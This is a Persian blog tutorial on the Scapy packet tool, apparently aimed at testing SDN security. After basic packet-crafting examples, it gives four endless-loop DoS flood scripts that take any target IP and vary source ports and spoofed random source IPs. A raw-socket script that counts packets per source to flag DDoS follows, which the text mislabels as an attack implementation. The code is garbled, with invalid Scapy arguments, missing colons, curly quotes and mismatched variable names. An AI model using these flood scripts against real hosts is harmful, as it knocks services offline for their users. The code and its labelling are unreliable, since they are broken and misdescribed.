مقدمه
همانند شبکههای سنتی، امنیت از جمله مسائل مهم در شبکههای SDN است. هکرها میتوانند به کنترلکنندهها و سوییچها حمله کنند و منجر به عدم سرویسدهی به کاربران، سرقت اطلاعات حساس و زیان مالی برای شرکت فعال در شبکه شوند.حالتی را تصور کنید که کنترلرشبکه شما با حجم زیادی از ترافیکهای بینظم روبهرو شده است، برای مقابله با چنین حالتهایی، با مدلسازی حملهها، قادر به شناسایی و تجزیه و تحلیل ریسکها و تهدیدهای موجود در بخشهای مختلف SDN خواهید بود. تست حملههای پر اهمیت همچون DOS وDDOS، توسط ابزارهایی همچون SCAPY، ما را با بسیاری از آسیبهای آنها و همچنین سایر باگها آشنا خواهد کرد و در ادامه قادر به برقراری امنیت در شبکه خود خواهیم بود.
Scapy چیست؟
یک برنامه پایتون برای ارسال، دریافت، شنود و جعل بستهها است و ابزار قدرتمندی برای رمزگشایی بسیاری از پروتکلها، دستکاری بستهها، فرستادن آنها به شبکه و دریافت پاسخ میباشد. مزایای متعددی در مقایسه با دیگر ابزارهای شبکه دارد که از جمله میتوان به سادگی آن اشاره کرد. با Scapy میتوانیم بسیاری از حملات همچون arpspoof، Icmp attack،ddos و dos را پیاده سازی کرد.
طریقه نصب Scapy
بعد از نصب آخرین نسخه از پایتون 3 کد زیر را اجرا کنید:
pip3 install scapy-python3
بعد از اتمام مراحل نصب کد زیر را اجرا کرده و وارد محیط Scapy شوید:
sudo scapy
نکته!!!
اگر در محیط پایچارم کار میکنید توصیه میشود که بصورت زیر عمل کنید:
File->Setting-> project interpreter
به آدرس بالا رفته و با انتخاب علامت + اقدام به جستجوی Scapy کنید:
آشنایی با دستورات SCAPY
اگر موافق باشید باهم یک بسته بسازیم و جزئیات آن را بررسی کنیم. به دستورات زیر توجه کنید:
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64
در کد بالا اقدام به ایجاد یک بسته در لایه 3 کردهایم. در واقع توسط دستور IP این بسته را ساخته و میتوانیم مبدا و مقصد و سایر جزئیات مربوط به آن را نیز مشخص کنیم. به کد زیر توجه کنید:
sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
در کد بالا همانطور که مشاهده میکنید علاوه بر لایه 3، لایه 4 نیز ایجاد شده است که در آن پورت مقصد و برچسب SYN به بسته زده شده است. همچنین برای ارسال بستههای ایجاد شده قادر خواهید بود تا از توابع زیر استفاده کنید:
- sr: ارسال بستهها در لایه 3
- sr1: ارسال لایه 3 ای بستهها و دریافت یک جواب
- srp: ارسال و دریافت لایه 2 ای بستهها
- srp1: ارسال لایه 2ای بستهها و دریافت فقط یک جواب
- srloop: ایجاد لوپ در لایه 3
- sniff: شنود بستهها
نکته!!!
میتوان گفت که از جمله رایجترین و پر اهمیتترین حملهها در SDN، حملههای DOS و DDOS هستند. دراین مقاله بطور خاص اقدام به پیادهسازی این دو توسط SCAPY کردهایم.
حمله DOS:
حمله DOS توسط هکرها و برای ازدسترس خارج کردن منابع شبکه استفاده میشود و میتواند یک میزبان متصل به اینترنت را بصورت دائم یا موقتا از دسترس خارج کند. این حملات معمولا وبسرورهای حیاتی همچون بانکها و درگاههای پرداختی را مورد هدف قرار میدهند.
ازجمله نشانههای حمله DOS میتوان به موارد زیر اشاره کرد:
- عملکرد کند شبکه( بطور غیر معمول)
- عدم توانایی در دسترسی به هر وب سایت
- افزایش ناگهانی تعداد ایمیلهای اسپم دریافت شده
- عدم دسترسی به یک وب سایت خاص
انواع حمله DOS و پیادهسازی آن با Scapy در پایتون:
نکته!!!
حمله dos میتواند در لایهی پیوند داده، شبکه ویا لایه کاربرد اجرا شود .
حالت تک IP و تک Port
تعداد زیادی از بستهها با استفاده از یک IP تنها و از شماره پورت تنها به سرور وب ارسال میشوند . این یک حمله سطح پایین است که برای بررسی رفتار کارگزار وب مورد استفاده قرار میگیرد . اجرای آن در پایتون را میتوان با کمک Scapy انجام داد . کدنوشته پایتون زیر به اجرای حمله DoS تک IP کمک خواهد کرد:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
بعد ازاجرای کد بالا سوالهای زیر پرسیده خواهد شد:
- نشانی IP مبدا ومقصد چیست؟
- شماره پورت مبدا و مقصد چیست؟
- سپس تعداد زیادی بستهها را برای چک کردن رفتار خود به سرور ارسال خواهد کرد .
حالت تک IP و چند پورت
تعداد زیادی از بستهها با استفاده از IP تنها و از چندین پورت به سرور وب ارسال میشوند . اجرای آن در پایتون را میتوان با کمک Scapy انجام داد . کدنوشته پایتون زیر به اجرای حمله DOS باتک IP و چند پورت کمک خواهد کرد:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
حالت چند IP و تک پورت
تعداد زیادی از بستهها با استفاده از IP چندگانه و شماره پورت منفرد به سرور وب ارسال میشوند :
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
حالت چندین IP و چندین پورت
تعداد زیادی از بستهها با استفاده از IP های چندگانه و از چندین پورت به سرور وب ارسال میشوند :
Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
حمله DDOS
حمله DDOS تلاشی به منظور از دسترس خارج کردن یک سرویس آنلاین و یا یک وب سرور است که با افزایش ناگهانی ترافیک از چندین مبدا انجام میگیرد. برخلاف حمله DOS که هکر از یک مبدا ویک اتصال اینترنت اقدام به حمله میکند، در این حالت از چندین کامپیوتر و چندین اتصال اینترنت استفاده میشود. در حقیقت حمله DDoS کمی مشکل است چون شما نمیدانید میزبانی که ترافیک را ارسال میکند جعلی یا واقعی است . کدنوشته پایتون که در زیر داده شدهاست ، حمله DDoS پیادهسازی میکند :
import socket
import struct
from datetime import datetime
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
dict = {}
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
file_txt.writelines(t1)
file_txt.writelines("\n")
در کد بالا ما نیاز داریم یک سوکت را ایجادکنیم. علاوه براین اقدام به تعریف یک دیکشنری خالی( dict) و یک فایل متنی به منظور نوشتن نتیجه کد به داخل آن کردهایم.
حال ، ما نیاز داریم که تعداد درخواستها از یک IP خاص بدست بیاوریم . در اینجا فرض میکنیم که اگر از یک IP خاص بیش از ۱۵ بار مورد اصابت درخواست داشته باشیم ، این یک حمله خواهد بود .
No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
while True:
pkt = s.recvfrom(2048)
ipheader = pkt[0][14:34]
ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
IP = socket.inet_ntoa(ip_hdr[3])
print "The Source of the IP is:", IP
کد زیر بررسی خواهد کرد که آیا IP در دیکشنری تعریف شده در بالا(dict) وجود دارد یا نه . اگر وجود داشته باشد ، آن را تا ۱ افزایش خواهد داد :
if dict.has_key(IP):
dict[IP] = dict[IP]+1
print dict[IP]
کد بعدی برای حذف افزونگی مورد استفاده قرار میگیرد:
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
line = "DDOS attack is Detected: "
file_txt.writelines(line)
file_txt.writelines(IP)
file_txt.writelines("\n")
else:
dict[IP] = 1
بعد از اجرای اسکریپت های بالا ، ما نتیجه را در یک فایل متنی بدست میآوریم . براساس این اسکریپت ، اگر یک IP بیش از ۱۵ بار مورد اصابت قرار گیرد ، پس از آن حمله DDoS به همراه آن نشانی IP ردیابی میشود و به چاپ خواهد رسید .
نتیجهگیری
در این مقاله قصد آشنایی شما عزیزان با برنامه SCAPY را داشتیم. بسیاری از دوستان در مورد شبیهسازی حملههای مختلف در SDN پرسیده بودند، امیدواریم با مطالعه این مقاله تونسته باشیم که شما را راهنمایی هرچند کوچک، در راستای سوالاتتان، کرده باشیم. ممنون از اینکه مارا همراهی میکنید.منتظر نظرات و پیشنهادات شما دوستان عزیزمان هستیم.
(2) دیدگاه
ممنون از مطلب خوبتون بسیار مفید بود
خیلی مفید بود ممنون. اگه میشه همیشه از این مطالب بذارید